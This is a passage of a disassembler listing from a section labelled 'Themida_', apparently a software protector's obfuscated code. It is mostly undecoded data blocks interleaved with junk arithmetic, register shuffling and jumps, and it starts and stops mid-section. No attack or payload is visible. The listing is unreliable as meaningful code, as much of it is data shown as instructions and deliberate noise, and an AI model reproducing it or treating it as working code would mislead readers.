		dd 0FFFFA5D6h, 0C281DA01h, 5B0609E0h, 83241C8Bh, 2C8904ECh
		dd 0E2FAE924h, 0BD55FFFFh, 4, 2C8BEA01h, 4C48124h, 87000000h
		dd 835C2414h, 3C3302C7h, 243C3124h, 0E9243C33h,	0FFFF4638h
		dd 5B66DC30h, 805FB652h, 0A3E9F8EEh, 81FFFF3Ah,	0ECF1E7F2h
		dd 8BD329D1h, 0E8E92414h, 1FFFF47h, 0F7E958C3h
		db 83h,	2 dup(0)
aM0Hx		db '╛0ьh∙<',0           ; DATA XREF: Themida_:0055134Co
		dw 8900h
		dd 0EC812414h, 4, 0B4240489h, 4EC8125h,	89000000h, 0E3E9240Ch
		dd 68FFFFEAh, 15C9h, 0FFA877E9h, 1013BEFFh, 0CE013E84h
		dd 71C68159h, 0C1466928h, 0EEC103E6h, 0A038E904h, 0FD2CFFFFh
		dd 4F8005Ah, 0E95B6672h, 8495h
; ---------------------------------------------------------------------------

loc_55E374:				; CODE XREF: Themida_:00553A70j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		add	ebx, edi
		push	eax
		add	dword ptr [esp], 51F31795h
		pop	dword ptr [ebx]
		sub	dword ptr [ebx], 51F31795h
		jmp	loc_55E1D6
; ---------------------------------------------------------------------------
		dw 59h
		dd 0E9392CC8h, 0FFFF99A0h, 8245429h, 8324148Bh,	0E6E904C4h
		dd 5FFFFCBh, 5D3C791Fh,	81242C8Bh, 4C4h, 0A744E900h
		db 2 dup(0FFh)
word_55E3C6	dw 8B66h		; DATA XREF: Themida_:00551224o
		dd 2F68240Ch, 89000074h, 0E0892404h, 61FBBE56h,	0C68132E4h
		dd 7B82537Ah, 0B571EE81h, 0F001AE66h, 0FFA763E9h, 1C8B66FFh
		dd 2C48124h, 51000000h,	41FA68h, 24248900h, 4240481h, 8B000000h
		dd 8951240Ch, 4C181E1h,	0E9000000h, 30DAh
; ---------------------------------------------------------------------------

loc_55E418:				; CODE XREF: Themida_:0056089Dj
		add	esp, 4
		push	eax
		mov	eax, 6D377E00h
		add	eax, 450277CEh
		sub	eax, 7FE30F14h
		or	eax, 44FD7A8Dh
		sub	eax, 7232ED76h
		sub	esi, eax
		jmp	loc_5542FD
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 30D5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E44A:				; CODE XREF: Themida_:00554780j
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560D2D
; ---------------------------------------------------------------------------

loc_55E458:				; CODE XREF: Themida_:00561208j
		push	2E06h
		jmp	loc_563579
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0F9F68B3h, 315AD331h, 0DDF75BDDh, 0FFF50DE9h, 4C483FFh
		dd 4EC81h, 1C890000h, 4BF5724h,	0BB502B07h, 405C0B9Dh
		dd 295FFB31h, 0C7815BDFh, 0C2805F46h, 34FFFA29h, 0C4815F24h
		dd 4, 0FFDD01E9h, 148966FFh, 4EC8324h, 51240489h, 2EB0E4B5h
		dd 0FF833EE9h, 0DA895DFFh, 6A19E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E4C5:				; CODE XREF: Themida_:0056392Cj
		pop	ecx
		add	ecx, 4
		push	esi
		jmp	loc_55F8F8
; ---------------------------------------------------------------------------
word_55E4D2	dw 81ACh		; DATA XREF: Themida_:00551404o
		dd 2ECh, 14896600h, 0C01BB624h,	0E6C003E6h, 0B5C68002h
		dd 0F000572Ch, 32E5E9h,	0F7570500h, 0B8E9DA6Dh,	89FFFF63h
		dd 40682404h, 89000039h, 0E9512424h, 140Fh, 0C281D2F7h
		dd 61D3784Ch, 293E9h, 0B60F6600h, 9C5166C8h, 0FF2FC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E525:				; CODE XREF: Themida_:0055DE37j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_55342F
; ---------------------------------------------------------------------------
		dd 55565A66h, 0FFD2CAE9h, 2BD55FFh, 1000000h, 242C8BE8h
		dd 8104C483h, 4ECh, 24048900h, 42474FFh, 8124048Bh, 4C4h
		dd 8BEEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E56A:				; CODE XREF: Themida_:005577C5j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		jmp	loc_55B77C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957241Ch, 4C781E7h,	0E9000000h, 0FFFFDD3Bh
; ---------------------------------------------------------------------------

loc_55E598:				; CODE XREF: Themida_:005562ACj
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_5619DD
; ---------------------------------------------------------------------------
		dd offset dword_59EA28
		db 0D0h, 0E9h, 0F4h
		dd 0F7FFFF80h, 9C281DAh, 0E9597A22h, 0FFFF4C80h, 4EC835Dh
		dd 56241489h, 9E36A868h, 24348B23h, 5A4468h, 24348900h
		dd 0E957E689h, 3DF8h
; ---------------------------------------------------------------------------

loc_55E5D8:				; CODE XREF: Themida_:00561769j
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_555EBB
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF2FD9h, 3EAC166h, 45EA8166h, 0F2816667h,	896663B2h
		dd 1665AD1h, 0E95966CFh, 0DEh
; ---------------------------------------------------------------------------

loc_55E610:				; CODE XREF: Themida_:00551DD4j
		push	410Eh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_561761
; ---------------------------------------------------------------------------

loc_55E635:				; CODE XREF: Themida_:0055A3BCj
		mov	ebx, [esp]
		jmp	loc_55B08A
; ---------------------------------------------------------------------------

loc_55E63D:				; CODE XREF: Themida_:0055DE4Aj
		xor	ebx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5571CF
; ---------------------------------------------------------------------------
word_55E646	dw 8B66h		; DATA XREF: Themida_:00551258o
		dd 90682404h, 0E9000078h, 0FFFF49CFh, 57E9D5F6h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E65B:				; CODE XREF: Themida_:00562E8Bj
		pop	ebp
		shr	esi, 1
		add	esi, 0C737DBAFh
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_55571A
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 184AC681h, 68515BEDh, 12216F98h, 0DEE0E959h,	0E95BFFFFh
		dd 4353h, 0E30062B4h, 0EC835866h, 240C8904h, 0EC83C588h
		dd 241C8904h, 88505350h, 58E788ECh, 525BF888h, 0A568C288h
		dd 8900007Ch, 0D4882404h, 0B3E9E788h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E6BB:				; CODE XREF: Themida_:00559769j
		pop	ebx
		pop	eax
		push	edi
		push	esi
		push	190D786Dh
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 4
		neg	esi
		push	eax
		mov	eax, 92C031D2h
		xor	esi, eax
		pop	eax
		mov	edi, esi
		mov	esi, [esp]
		push	1E3Eh
		mov	[esp], ebx
		push	esp
		jmp	loc_56383F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 66240C89h, 6603FFB9h, 818FE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E702:				; CODE XREF: Themida_:00557246j
		jz	loc_5583CF
		push	dword ptr [edi+28h]
		sub	esp, 4
		jmp	loc_55174E
; ---------------------------------------------------------------------------

loc_55E716:				; CODE XREF: Themida_:00555986j
		pop	ebp
		pop	edx
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_551AD6
; ---------------------------------------------------------------------------
		dd 56E98159h, 564BC371h, 2A73AC68h, 24348B7Eh, 8304C483h
		dd 0C14601EEh, 0EE8104E6h, 834CADCAh, 815EF131h, 0C31897EDh
		dd 4DDFE977h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E75A:				; CODE XREF: Themida_:00562108j
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_556AA8
; ---------------------------------------------------------------------------

loc_55E763:				; CODE XREF: Themida_:005609D9j
		mov	[esp], eax
		push	323Ah
		mov	[esp], edi
		jmp	loc_552EAA
; ---------------------------------------------------------------------------

loc_55E773:				; CODE XREF: Themida_:0055B79Ej
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		jmp	loc_55C794
; ---------------------------------------------------------------------------
		dw 4DB3h
		dd 0E907EBC0h, 0FFFF92BCh, 36E5CE81h, 0F7566755h, 0E95E2414h
		dd 0FFFF48EFh, 3E7B951h, 0CA296B70h, 36C28159h,	0E9154CCEh
		dd 2932h, 8904EC83h, 78BF243Ch,	816ECD3Ch, 0DF346ECFh
		dd 97C78117h, 81E124C4h, 8F0D84C2h, 81FA2955h, 8F0D84EAh
		dd 8D5AE955h, 15BFFFFh,	5B04245Ch, 8124048Bh, 4C4h, 4D47E900h
		dd 0EBC1FFFFh, 0C1E3D102h, 814304EBh, 0E4AF97F3h, 57D0E9FBh
		dd 3C330000h, 243C3124h, 5C243C33h, 0BE243489h,	706E7CB7h
		dd 24E9F229h, 59FFFF5Bh, 0FFAB85E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E81D:				; CODE XREF: Themida_:00561FFEj
		pop	ebx
		sub	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_562B89
; ---------------------------------------------------------------------------
		dd 8704C783h, 15C243Ch,	0EC815DE8h, 4, 3766E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E841:				; CODE XREF: Themida_:0055F156j
		pop	ecx
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5574B3
; ---------------------------------------------------------------------------
		db 0BDh, 0C9h, 0B0h
		dd 6DE92EF8h, 81FFFF54h, 142D06C5h, 8BC58140h, 0E9BFEAADh
		dd 0FFFF4E47h
; ---------------------------------------------------------------------------

loc_55E868:				; CODE XREF: Themida_:00552D95j
		mov	[esp], ecx
		mov	cl, 0FFh
		add	bl, 0E0h
		sub	bl, 22h
		sub	bl, 0CAh
		sub	bl, cl
		add	bl, 0CAh
		push	ecx
		mov	ch, 22h
		add	bl, ch
		pop	ecx
		jmp	loc_556B78
; ---------------------------------------------------------------------------
		dw 0F731h
		dd 0EB50E95Eh, 0EEC1FFFFh, 0DEE95604h, 58FFFFF2h, 464CE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E89E:				; CODE XREF: Themida_:00561EF1j
		sub	eax, 367A394Ah
		jmp	loc_553954
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 2D28E9h, 78D9B800h, 25404C64h, 53E5050Fh
		dd 0FFD029E9h, 19BF57FFh, 68669136h, 73E8h, 0BE243489h
		dd 66913619h, 52F7EF81h, 0F72967C7h, 52F7C781h,	835E67C7h
		dd 3C8904ECh, 24048124h, 7096354h, 0FFCD0DE9h, 7EBC1FFh
		dd 1905E9h, 16E95600h, 87FFFF81h, 0CCE92434h, 53FFFFE8h
		dd 0FF5E9CE9h, 1CB753FFh, 2EE9DFF6h, 52FFFFA9h,	24148B5Eh
		dd 50D2E9h, 3E26800h, 0C890000h, 34E95424h, 89FFFFADh
		dd 33682414h, 8900003Ch, 50562424h, 2D281568h, 0E8E9586Ah
		dd 5DFFFF81h, 43E95658h, 53FFFF2Ch, 0FF79F8E9h,	585450FFh
		dd 0FFF47EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E961:				; CODE XREF: Themida_:00553445j
		add	esp, 4
		jmp	loc_56300D
; ---------------------------------------------------------------------------
		dd 0F77152B8h, 3E8C17Fh, 417CA35h, 78E4052Ah, 0C0354C68h
		dd 1726372h, 0BE958C1h,	81000047h, 4EFh, 0FE68E900h, 0C681FFFFh
		dd 3F8C67C5h, 6B4CC681h, 34FF780Fh, 0C4835F24h,	3709E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E9AE:				; CODE XREF: Themida_:00560EF7j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56534B
; ---------------------------------------------------------------------------

loc_55E9D8:				; CODE XREF: Themida_:0056037Fj
		push	ebx
		jmp	loc_55E1B3
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFFD9Ah
; ---------------------------------------------------------------------------

loc_55E9E4:				; CODE XREF: Themida_:0055F137j
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_553EEC
; ---------------------------------------------------------------------------
		dd 0B8240489h, 2, 27B9E981h, 66E91ED5h,	0B8FFFF3Fh, 288C778Dh
		dd 91E9C801h, 5FFFFFD0h, 4C381h, 0FF530000h, 8B042474h
		dd 0C483241Ch, 24048F04h, 8124248Bh, 4ECh, 240C8900h, 54EA6866h
		dd 0FFF216E9h, 1EFBBEFFh, 0F701422Ch, 73C7815Eh, 8B79D50Ch
		dd 0C481240Ch, 4, 0FFE4B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EA61:				; CODE XREF: Themida_:00565336j
		shl	edi, 5
		push	edx
		push	ebx
		mov	ebx, 3CDE6D2Ah
		mov	edx, 24A0AFA0h
		add	edx, 56C3575Fh
		add	edx, ebx
		sub	edx, 56C3575Fh
		jmp	loc_561FDB
; ---------------------------------------------------------------------------

loc_55EA83:				; CODE XREF: Themida_:0056675Aj
		pop	ebx
		sub	ebp, 2E510717h
		add	ebp, ecx
		jmp	loc_56145C
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 48B6624h, 4C356824h, 3C890000h
		dd 3C8B5424h, 2ED0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EAB2:				; CODE XREF: Themida_:005599DBj
		pop	ebx
		jmp	loc_565FBD
; ---------------------------------------------------------------------------
		dd 103FB52Dh, 5E8294Ah,	4A103FB5h, 0F25B1105h, 34962D6Eh
		dd 0D9E91523h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EAD3:				; CODE XREF: Themida_:00566B20j
		add	ebp, esi
		mov	esi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_55B1A3
; ---------------------------------------------------------------------------
		db 0B5h, 7Dh, 80h
		dd 0C5805DCDh, 59EB8870h, 0FE0FE380h, 0C0DBF6C3h, 25E906E3h
		dd 0BEFFFF4Eh, 7182214Bh, 815EF329h, 4603C4C3h,	81C3296Ch
		dd 4603C4EBh, 4BC3816Ch, 81718221h, 0E818B8EBh,	4EC8302h
		dd 0FF29DEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EB2D:				; CODE XREF: Themida_:005570B9j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5581A9
; ---------------------------------------------------------------------------

loc_55EB3C:				; CODE XREF: Themida_:00552F72j
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_562871
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 2474FF53h, 48F5B04h, 24248B24h, 4EC81h, 1C890000h
		dd 0BB24h, 0C3810000h, 2A544C3Ah, 4304EB81h, 0C3813923h
		dd 1A5E305Eh, 0EB81C301h, 1A5E305Eh, 2FBE9h, 19E95000h
		dd 59FFFF47h, 4855E9h, 5EF00100h, 0E52DD801h, 57646262h
		dd 32B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EBA1:				; CODE XREF: Themida_:005548A4j
		mov	ebp, 2C3F29D2h
		jmp	loc_565929
; ---------------------------------------------------------------------------
		db 35h
		dd 0CEAAF3FAh, 3158C789h, 1E95DEFh, 0FF00004Fh,	685A2434h
		dd 5B90h, 0FFC691E9h, 0CE815FFFh, 0F05587Fh, 0E946D6F7h
		dd 230Bh
; ---------------------------------------------------------------------------

loc_55EBD8:				; CODE XREF: Themida_:00561236j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_557F15
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 87000000h, 0C15C241Ch, 1E6804E9h, 89000033h
		dd 0B6BF243Ch, 0E92B0133h, 576Bh, 0C05BB753h, 0F78004E7h
		dd 0A6F78067h, 0F65BFA88h, 5E2BE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC26:				; CODE XREF: Themida_:00554C9Fj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56444E
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 66390E3Ch
		push	eax
		mov	eax, 6D541531h
		not	eax
		or	eax, 45DD14B3h
		sub	eax, 19295502h
		xor	eax, 8EAE15D3h
		push	edi
		mov	edi, 533970C5h
		sub	edx, edi
		jmp	loc_56689D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFB75CE9h, 69685AFFh, 8900007Ah, 0EC832414h, 24248904h
		dd 4240481h, 5A000000h,	4C281h,	4BE90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EC87:				; CODE XREF: Themida_:00557DDCj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56227D
; ---------------------------------------------------------------------------

loc_55EC92:				; CODE XREF: Themida_:00563647j
		add	esp, 4
		push	7D62h
		mov	[esp], eax
		push	esi
		push	1F030689h
		jmp	loc_561C17
; ---------------------------------------------------------------------------

loc_55ECA8:				; CODE XREF: Themida_:00551EE2j
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_55FD9F
; ---------------------------------------------------------------------------

loc_55ECB4:				; CODE XREF: Themida_:00565CBDj
		mov	ebx, esp
		jmp	loc_5650AB
; ---------------------------------------------------------------------------
aSpu		db ')ъИpU',0
		align 2
		dw 37B3h
		dd 5B66DD30h, 5259EC30h, 0E2C0F5B2h, 0ACA8002h,	8032F280h
		dd 0EA80A9E2h, 5AD30016h, 0AF68E328h, 8900001Dh, 52B62414h
		dd 24E9C6FEh, 81FFFFDFh, 0AED08EDh, 0C293E924h,	5558FFFFh
		dd 0FFC369E9h, 4BFFFh, 0FB010000h, 4BF575Fh, 81000000h
		dd 7F1970C3h, 0E9FB0108h, 0FFFF72D9h, 639F685Ah, 1C890000h
		dd 2474FF24h, 241C8B04h, 81E38953h, 4C3h, 114E900h, 0E1810000h
		dd 4C934F6Ah, 72EBE181h, 0D9F77F3Eh, 48FAE950h,	815AFFFFh
		dd 0C32F16F1h, 0E9C8016Fh, 42DAh, 5AF32859h, 0E9C0B60Fh
		dd 1913h, 0A66AFAB9h, 81D9F770h, 0EB1F3EE1h, 372AE962h
		dd 0B60F0000h, 8734FFC0h, 0FF544AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ED89:				; CODE XREF: Themida_:005652C8j
		mov	[esp], ebx
		jmp	loc_5658A2
; ---------------------------------------------------------------------------
		db 66h,	5Fh, 66h
		dd 3566D0F7h, 2CE926AFh, 0B0FFFFE2h, 0C3885336h, 8B5BDD88h
		dd 0E6E92404h, 5DFFFFA1h, 0BB665366h, 0D2E9C86Ch
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EDBB:				; CODE XREF: Themida_:0055FB0Ej
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A010
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aKKSD		db '╨K',1Bh,'K<И',9,'d',0
		align 2
		dw 0BEBAh
		dd 8913A701h, 24E95AD1h, 0FFFFFFFCh, 5BE92434h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EDF3:				; CODE XREF: Themida_:0055AFC8j
		add	edx, 6C3B7F65h
		pop	edi
		jmp	loc_559190
; ---------------------------------------------------------------------------

loc_55EDFF:				; CODE XREF: Themida_:00560A6Aj
		add	edi, 4
		push	ebp
		mov	ebp, 366A707Dh
		jmp	loc_5589B8
; ---------------------------------------------------------------------------

loc_55EE10:				; CODE XREF: Themida_:0055CF98j
		mov	ebp, 4
		add	ebx, 2D9F3429h
		jmp	loc_562E90
; ---------------------------------------------------------------------------
		dd 28FF6850h, 14890000h, 3B9D6824h, 0D0E90000h
		db 47h,	2 dup(0FFh)
byte_55EE33	db 0ACh			; DATA XREF: Themida_:005512CCo
		dd 8904EC83h, 0E954241Ch, 26A1h, 0D9E94FB0h, 80000024h
		dd 0EF8006C7h, 34C0E903h, 0C383FFFFh, 435FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EE5A:				; CODE XREF: Themida_:0055A240j
		mov	ebx, [esp]
		push	eax
		jmp	loc_554C3C
; ---------------------------------------------------------------------------

loc_55EE63:				; CODE XREF: Themida_:00551664j
		mov	ebp, ecx
		pop	ecx
		add	ebp, 65302EDBh
		add	ebp, 0FFFFFFFFh
		jmp	loc_556297
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0E9E200C3h, 0FFFF4E1Dh, 4304B850h, 0C3813923h, 15785E1Bh
		dd 0EB81C301h, 15785E1Bh, 0D837E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE9A:				; CODE XREF: Themida_:0055793Aj
		pop	ebp
		add	ecx, 3A38B073h
		jmp	loc_5586FD
; ---------------------------------------------------------------------------
		dw 8142h
		dd 0D02410F2h, 5AD50104h, 0E94DEDD1h, 0FFFFB5E1h
; ---------------------------------------------------------------------------

loc_55EEB8:				; CODE XREF: Themida_:0055FB31j
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		shr	ecx, 3
		push	esi
		jmp	loc_559E1F
; ---------------------------------------------------------------------------

loc_55EECA:				; CODE XREF: Themida_:0056265Bj
		mov	esp, [esp]
		push	esi
		push	2000h
		pop	esi
		jmp	loc_56001A
; ---------------------------------------------------------------------------

loc_55EED9:				; CODE XREF: Themida_:0055DA49j
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		xchg	eax, ecx
		push	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5565D1
; ---------------------------------------------------------------------------
		dd 4B95157h, 89000000h,	0FD0159CFh, 242C875Fh, 5086E95Ch
		dd 55AFFFFh, 20D079F5h,	0F52DD001h, 520D079h, 1889018Bh
		dd 0FFB8A7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EF25:				; CODE XREF: Themida_:005595B4j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		dd 4F43BB53h, 0D8317829h, 44EA815Bh, 15E5556h, 44C281C2h
		dd 8B5E5556h, 0C4812404h, 4, 0FFB914E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EF6D:				; CODE XREF: Themida_:005619C7j
		mov	[esp], edx
		push	edi
		jmp	loc_553150
; ---------------------------------------------------------------------------
		dw 0B3B8h
		dd 310C8E3Eh, 24048BC2h, 2A93E9h, 1C4F0900h, 0E92434FFh
		dd 0FFFFBDB6h, 0BA241489h, 75CB69F2h, 3E3BBE56h, 0E6C1205Ch
		dd 1EE8306h, 8E1DEE81h,	0F229EBB0h, 0E924348Bh,	5992h
; ---------------------------------------------------------------------------

loc_55EFB4:				; CODE XREF: Themida_:005571FDj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_55C0B1
; ---------------------------------------------------------------------------

loc_55EFC1:				; CODE XREF: Themida_:00557044j
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_55EFD8:				; CODE XREF: Themida_:00557616j
		shr	ecx, 3
		xor	ecx, 63C408C3h
		mov	edx, ecx
		pop	ecx
		shr	edx, 5
		jmp	loc_561E13
; ---------------------------------------------------------------------------
		dd 3C26C581h, 0ED814243h, 7E6103BAh, 0FF7534E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EFFD:				; CODE XREF: Themida_:00554023j
		add	esp, 4
		sub	ecx, 3A7A6DF7h
		and	ecx, 65D442EEh
		and	ecx, 7B9963FAh
		push	ebx
		mov	ebx, 2FC30F26h
		shr	ebx, 8
		sub	ebx, 0C75B7703h
		jmp	loc_56613F
; ---------------------------------------------------------------------------

loc_55F029:				; CODE XREF: Themida_:0055CD2Ej
		push	4BEEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		jmp	loc_55D59C
; ---------------------------------------------------------------------------

loc_55F03F:				; CODE XREF: Themida_:005585AAj
		xchg	esi, ebx
		shr	ebx, 5
		jmp	loc_5542DE
; ---------------------------------------------------------------------------
byte_55F049	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055144Co
aS_7		db '$И=[',0
		align 2

loc_55F052:				; CODE XREF: Themida_:0055B53Fj
		mov	[esp], eax
		mov	eax, 1BA11229h
		jmp	loc_551C78
; ---------------------------------------------------------------------------

loc_55F05F:				; CODE XREF: Themida_:0055CD6Dj
		sub	eax, edx
		jmp	loc_553138
; ---------------------------------------------------------------------------

loc_55F066:				; CODE XREF: Themida_:0055865Cj
		mov	ebp, 4
		add	eax, 3226622h
		add	eax, ebp
		push	ebx
		push	edx
		jmp	loc_561038
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 51h
		dd 8147A414h, 0DF6057C2h, 0DA015924h, 468FB850h, 0C2015B18h
		dd 2434FF58h, 4EC815Bh,	89000000h, 0E389241Ch, 0A40E9h
		dd 2EC8300h, 24048966h,	0F2E9ADB0h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55F0B3:				; CODE XREF: Themida_:005609A7j
		push	4EE569EAh
		pop	ebp
		xor	ebx, ebp
		jmp	loc_56106A
; ---------------------------------------------------------------------------
dword_55F0C0	dd 8B1C77FFh, 0EC832404h, 242C8904h, 5552E589h,	195CD6BDh
					; DATA XREF: Themida_:00551448o
		dd 0C5814D5Ch, 285A3BDCh, 8102EDC1h, 6F0AC1EDh,	0B5CD815Fh
		dd 81011763h, 400405C5h, 5DEA893Eh, 48F7ED81h, 0C58109DAh
		dd 49106D04h, 0FF3BEEE9h, 0CF895BFFh, 17F78159h, 1D058B1h
		dd 58535FFBh, 0E9241C8Bh, 4056h, 8924248Bh, 4832424h, 0C8B0424h
		dd 4C48124h, 0E9000000h, 0FFFF886Bh
; ---------------------------------------------------------------------------

loc_55F134:				; CODE XREF: Themida_:00565F3Aj
		pop	eax
		add	edi, esi
		jmp	loc_55E9E4
; ---------------------------------------------------------------------------
		dd 0E95FFD89h, 0FFFFE69Fh
; ---------------------------------------------------------------------------

loc_55F144:				; CODE XREF: Themida_:00552587j
		inc	ecx
		add	ecx, 239E722Eh
		shl	ecx, 1
		dec	ecx
		add	ecx, 0A619EFD1h
		mov	esi, ecx
		jmp	loc_55E841
; ---------------------------------------------------------------------------

loc_55F15B:				; CODE XREF: Themida_:00551943j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	31B0h
		mov	[esp], ecx
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebx
		push	eax
		push	51231820h
		pop	eax
		jmp	loc_553246
; ---------------------------------------------------------------------------

loc_55F19C:				; CODE XREF: Themida_:00556D79j
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 440F77E7h
		shr	eax, 2
		neg	eax
		xor	eax, 53C77030h
		jmp	loc_551D7D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24143300h, 0FFCE09E9h, 68F329FFh, 6202h
		dd 0BA241489h, 2BC73FAEh, 148BD329h, 0C822E924h, 148BFFFFh
		dd 4C48324h, 0D75E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F1F2:				; CODE XREF: Themida_:00555B9Aj
		pop	edx
		pop	ecx
		jmp	loc_556C1F
; ---------------------------------------------------------------------------

loc_55F1F9:				; CODE XREF: Themida_:0055DE2Dj
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55FC91
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3CE92424h, 0C1FFFF9Eh, 9BE908EDh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F21F:				; CODE XREF: Themida_:00557E43j
		push	ecx
		jmp	loc_5515C7
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 0DBFEE900h, 575BFFFFh,	0FFE199E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F239:				; CODE XREF: Themida_:0055C33Cj
		xor	esi, ecx
		jmp	loc_565831
; ---------------------------------------------------------------------------
